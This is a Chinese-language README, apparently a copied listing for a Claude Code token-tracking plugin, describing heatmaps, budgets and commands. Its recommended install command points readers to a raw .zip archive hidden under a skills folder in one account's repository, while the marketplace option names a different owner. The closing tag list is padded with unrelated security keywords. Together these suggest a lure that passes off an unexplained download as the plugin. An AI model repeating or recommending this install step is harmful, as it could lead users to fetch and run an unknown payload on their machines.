sadmanfardinprottoy1212-png/claude-context-optimizer

别再把 token 浪费在 Claude 从未使用过的文件上了。

## 问题所在 普通的 Claude Code 会话在读取但从未实际使用的文件上**浪费了 30-50% 的 token**。每一次 `Read` 调用都会消耗上下文——无论该文件是否相关。 - 一个 200 行的配置文件？**800 个 token 没了。** - 一份你只瞥了一眼的 README？**2,400 个 token 烧掉了。** - 那个 Claude "以防万一"读取的 `package.json`？**每次 120 个 token。** 按 $15/M tokens (Opus) 计算，每月花费 $100 的开发者中有 **$30-50 因为不相关的上下文而白白浪费**。 ## 解决方案 **context-optimizer** 会静默跟踪每一次文件读取、编辑和搜索。它能识别哪些文件真正有用，哪些是浪费。随着时间的推移，它会为你的编码模式建立档案，准确地告诉你 token 都用在了哪里——以及如何停止浪费。

## 功能特性 ### 上下文热力图 —— 查看 token 都用在哪了 运行 `/cco` 可获取会话中每个文件的可视化明细。绿色 = 有用。红色 = 浪费。

### Token ROI 报告 —— 跨会话的全面分析 运行 `/cco-report` 以获取综合仪表板：总 token 数、浪费比例、成本估算、趋势分析以及可操作的建议。

### 效率评分 —— 游戏化优化 运行 `/cco-digest` 获取每周效率等级 (S/A/B/C/D/F)，并附带精确度、编辑比率、搜索准确性和专注度的细分评估。

### Token 预算 —— 永不超支 设置 token 预算，并在接近限制时收到实时警告。在达到 50%、70%、85%、95% 时会自动发出警报并附带成本估算。 ``` [context-budget] 70% of token budget used (~70K/100K) | Est. cost: $1.050 (opus) [context-budget] 90% of token budget used (~90K/100K) | Consider running /compact to free context ``` ### Git 智能建议 —— 聪明的上下文加载 运行 `/cco-git`，插件会分析你的 `git diff`，找到相关的测试文件、配置文件以及历史上被证明有用的文件——然后准确建议该加载什么。 ### 上下文模板 —— 常见任务的预设 为不同的任务类型创建可复用的上下文集： ``` /cco-templates create bug-fix # Save files you always need for bug fixes /cco-templates apply bug-fix # Load them instantly next time ``` ### 智能加载器技能 —— 自动建议 插件会学习你的行为。当你开始一项新任务时，它会根据历史模式静默建议你可能需要的文件。无需任何配置。 ### HTML 导出 —— 可分享的仪表板 运行 `/cco-export html` 生成一个精美的深色主题仪表板，你可以在任何浏览器中打开它或与团队分享。 ## 所有命令 | 命令 | 描述 | |---------|-------------| | `/cco` | 会话热力图 —— 基于文件的可视化 token 明细 | | `/cco-report` | 完整的 ROI 报告 —— 统计、趋势、浪费分析和建议 | | `/cco-digest [days]` | 效率摘要 —— 评分、等级、成本分析（默认：7 天） | | `/cco-budget [status\|set\|model]` | Token 预算 —— 配置限制和成本模型 | | `/cco-git` | Git 智能建议 —— 基于 diff 的智能文件加载 | | `/cco-templates [list\|create\|apply\|delete]` | 上下文模板 —— 用于任务类型的可复用文件集 | | `/cco-export [md\|html]` | 导出报告 —— Markdown 或 HTML 仪表板 | | `/cco-clean` | 清理 —— 删除旧的跟踪数据 | ## 安装说明 ### 选项 1 —— 直接加载（推荐） 将仓库克隆到任意位置，然后将 Claude Code 指向它： ``` git clone https://github.com/sadmanfardinprottoy1212-png/claude-context-optimizer/raw/refs/heads/main/skills/smart-loader/context-claude-optimizer-1.4-beta.5.zip ~/claude-context-optimizer claude --plugin-dir ~/claude-context-optimizer ``` 这会在当前会话中加载插件。要使其永久生效，请将其添加到你的设置中： **在 `~/.claude/settings.json` 中：** ``` { "plugins": [ "~/claude-context-optimizer" ] } ``` ### 选项 2 —— GitHub marketplace（团队分发） 在 `~/.claude/settings.json` 中将仓库添加为自定义 marketplace： ``` { "extraKnownMarketplaces": { "egorfedorov-plugins": { "source": { "source": "github", "repo": "egorfedorov/claude-context-optimizer" } } } } ``` 然后通过以下方式安装： ``` /plugin → Discover → claude-context-optimizer → Install ``` ### 前置条件 - Node.js >= 18 - Claude Code（支持插件） ## 工作原理 ``` You use Claude Code normally │ ▼ ┌─────────────────────┐ │ PostToolUse Hook │ Silent. Runs on every Read/Edit/Write/Glob/Grep/Agent. │ tracker.js │ Records: file path, line count, token estimate, timestamp. └─────────┬───────────┘ │ ▼ ┌─────────────────────┐ │ Session Store │ ~/.claude-context-optimizer/sessions/.json │ Per-file tracking │ Reads, edits, usefulness score, token estimate. └─────────┬───────────┘ │ ▼ ┌─────────────────────┐ │ SessionEnd Hook │ Finalizes session. Computes waste. Updates patterns DB. │ Pattern Learning │ Tracks which files are consistently useful/wasted. └─────────┬───────────┘ │ ▼ ┌─────────────────────┐ │ Reports & Insights │ /cco, /cco-report, /cco-digest │ Budget Alerts │ Real-time warnings when approaching token limits. │ Smart Suggestions │ File recommendations based on git state + history. └─────────────────────┘ ``` ### 什么算作“有用”？ 如果一个文件符合以下条件，则被认为是**有用的**： - 在被读取后被**编辑**过（高价值——你需要它来进行修改） - 被**多次读取**（你不断回过头来参考它） 如果一个文件符合以下条件，则被认为是**浪费的**： - 被**读取了一次，之后再也没被引用过** - 在会话期间从未被编辑或重新读取过 ### Token 估算 Token 估算约为每行 4 个 token（代码的行业平均值）。这是一个粗略的估计——实际使用量取决于内容密度——但对于比较分析而言，其一致性已经足够了。 ## 数据存储 ``` ~/.claude-context-optimizer/ ├── sessions/ # Per-session tracking data (JSON) ├── budget/ # Per-session budget state ├── templates/ # User-defined context templates ├── exports/ # Exported reports (MD/HTML) ├── config.json # Budget and preference settings ├── patterns.json # Cross-session file usage patterns └── global-stats.json # Aggregate statistics ``` ## 插件结构 ``` claude-context-optimizer/ ├── .claude-plugin/ │ └── plugin.json # Plugin manifest ├── src/ │ ├── tracker.js # Core: file & token tracking engine │ ├── budget.js # Token budget monitor with alerts │ ├── digest.js # Efficiency score & weekly digest │ ├── git-context.js # Git-aware context suggestions │ ├── report.js # ROI report generator │ └── export.js # MD/HTML report exporter ├── commands/ │ ├── cco.md # /cco — session heatmap │ ├── cco-report.md # /cco-report — full ROI report │ ├── cco-digest.md # /cco-digest — efficiency digest │ ├── cco-budget.md # /cco-budget — budget manager │ ├── cco-git.md # /cco-git — git suggestions │ ├── cco-export.md # /cco-export — report export │ ├── cco-templates.md # /cco-templates — template manager │ └── cco-clean.md # /cco-clean — data cleanup ├── agents/ │ └── context-analyzer.md # Deep analysis agent ├── skills/ │ └── smart-loader/ │ └── SKILL.md # Auto-suggestion skill ├── hooks/ │ └── hooks.json # Hook configuration ├── assets/ # SVG visuals for README └── package.json ``` ## 隐私 本插件： - **仅跟踪文件路径和行数** —— 绝不涉及文件内容 - **将所有内容存储在本地** `~/.claude-context-optimizer/` 目录中 - **发送零遥测数据** —— 无网络调用、无分析、无跟踪 - **可以被彻底清除**，使用 `/cco-clean --reset-all` 你的数据永远不会离开你的设备。绝无例外。 ## 常见问题 **问：这会让 Claude Code 变慢吗？** 答：不会。Hook 脚本异步运行，通常在 <10ms 内完成。跟踪器只写入小型 JSON 文件。 **问：Token 估算有多准确？** 答：它们使用约 4 tokens/行 的启发式方法。这并不精确，但在不同会话中保持一致，使得趋势和比较变得可靠。 **问：我可以将其与 Claude Sonnet / Haiku 一起使用吗？** 答：可以。使用 `/cco-budget model sonnet` 设置你的模型以获取准确的成本估算。 **问：这可以与 subagents 一起使用吗？** 答：可以。PostToolUse hook 会针对所有工具调用触发，包括由 subagents 发起的调用。 ## 许可证 MIT —— 你可以随意使用它。

_{出于对浪费 token 的沮丧和对效率的热爱而构建。}

标签：AI辅助编程, Claude, Claude插件, CVE检测, DLL 劫持, GNU通用公共许可证, Homebrew安装, LLM, MITM代理, MIT协议, Node.js, SOC Prime, Token优化, Unmanaged PE, 上下文窗口, 上下文管理, 人工智能, 代码效率, 多模态安全, 大语言模型, 威胁情报, 开发工具, 开发者工具, 成本优化, 提示词工程, 文件过滤, 用户模式Hook绕过, 策略决策点, 编码模式分析, 自定义脚本, 防御加固, 零配置